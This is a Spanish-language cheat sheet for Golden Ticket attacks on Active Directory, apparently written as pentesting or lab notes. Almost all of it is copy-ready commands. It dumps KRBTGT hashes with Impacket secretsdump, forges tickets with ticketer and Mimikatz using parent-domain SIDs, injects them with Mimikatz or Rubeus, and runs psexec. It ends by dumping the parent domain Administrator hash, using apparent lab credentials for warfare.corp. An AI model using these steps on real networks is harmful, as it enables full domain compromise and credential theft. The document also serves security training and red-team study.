# Golden Ticket

## Directamete to Parent Domain

### Impacket

#### Paso 1: Extraer el SID del usuario.

```sh
impacket-getPac -targetUser '<user>' <domain>/'<user>:<password>'
```

#### Paso 2: Generamos el ticket

```sh
impacket-ticketer -nthash '<hash ntlm del usuario a suplantar>' -user '<user a suplantar>' -groups 500 -domain-sid '<sid>' -domain <domain> -dc-ip <ip> <user>
```

```sh
export KRB5CCNAME=Administrator.ccache
```

#### Paso 3: Configuraciones necesarias

```sh
nano /etc/hosts
--------------------
<ip>    <domain>    <hostname.domain>
```

```sh
nano /etc/resolv.conf
--------------------
nameserver    <ip>
```

```sh
ntpdate <ip o hostname>
```

#### Paso 4:  Explotar

```sh
impacket-psexec -k -no-pass <domain>/<user a suplantar>@<ip o hostname>
```

## Child to Parent Domain

### Mimikatz

#### Paso 1: Extraer el hash del usuario KRBTGT del hijo

```sh
impacket-secretsdump -debug -dc-ip <ip> <child domain>/<user>:<pass>
```

#### Paso 2: Conseguir los SID del Parent Domain&#x20;

```sh
whoami /user
nltest /domain_trusts
```

#### Paso 3: En Mimikatz (en child domain):

```sh
.\Mimikatz.exe
```

```sh
privilege::debug
```

```sh
kerberos::golden /user:fakeadmin /domain:child.domain.local /sid:<SID_PADRE> /krbtgt:<KRBTGT_HASH_HIJO> /sids:<SID_PADRE-512> /ticket:golden.kirbi /id:500
```

* `/domain:` → del hijo.
* `/sid:` → del **padre**.
* `/sids:` → grupo `Domain Admins` del padre (`<SID_PADRE>-512`).
* `/krbtgt:` → del hijo (no del padre).

#### Paso 4: Inyectar el ticket

```sh
kerberos::ptt golden.kirbi
```

#### Paso 5:  Accede a recursos del dominio padre, como

```sh
dir \\dc.domain.local\c$
```

### Mimikatz y Rubeus

#### Paso 1: Extraer el hash del usuario KRBTGT del hijo

```sh
impacket-secretsdump -debug -dc-ip <ip> <child domain>/<user>:<pass>
```

#### Paso 2: Conseguir los SID del Parent Domain&#x20;

```sh
whoami /user
nltest /domain_trusts
```

#### Paso 3: En Mimikatz (en child domain):

```sh
.\Mimikatz.exe
```

```sh
privilege::debug
```

```sh
kerberos::golden /user:fakeadmin /domain:child.domain.local /sid:<SID_PADRE> /krbtgt:<KRBTGT_HASH_HIJO> /sids:<SID_PADRE-512> /ticket:golden.kirbi /id:500
```

* `/domain:` → del hijo.
* `/sid:` → del **padre**.
* `/sids:` → grupo `Domain Admins` del padre (`<SID_PADRE>-512`).
* `/krbtgt:` → del hijo (no del padre).

#### Paso 4: Inyectar el ticket

```sh
.\Rubeus.exe ptt /ticket:golden.kirbi
```

#### Paso 5:  Accede a recursos del dominio padre, como

```sh
dir \\dc.domain.local\c$
```

### Impacket

#### Paso 1: Extraer el hash del usuario KRBTGT del hijo

```sh
impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'
```

#### Paso 2: Extrater los SID del Parent Domain y del Child Domain

```sh
impacket-lookupsid child/corpmngr:'User4&*&*'@child.warfare.corp
```

<pre class="language-sh"><code class="lang-sh"><strong>impacket-lookupsid child/corpmngr:'User4&#x26;*&#x26;*'@warfare.corp
</strong></code></pre>

#### Paso 3: forjar el golden ticket con ticketer

```sh
impacket-ticketer -domain <child domain> -aesKey <hash krbtgt> -domain-sid <child sid> -groups 516 -user-id 1106 -extra-sid <parent sid> 'corpmngr'
```

```sh
export KRB5CCNAME=corpmngr.ccache
```

#### Paso 4: solicitar el ticket de autentificación.

```sh
impacket-getST -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug
```

```sh
export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache
```

#### Paso 5: dumpear la sam del parent domain

```sh
impacket-secretsdump -k -no-pass dc01.warfare.corp -just-dc-user 'warfare\Administrator' -debug
```

Con esto, solo faltaría hacer el pass de hash.
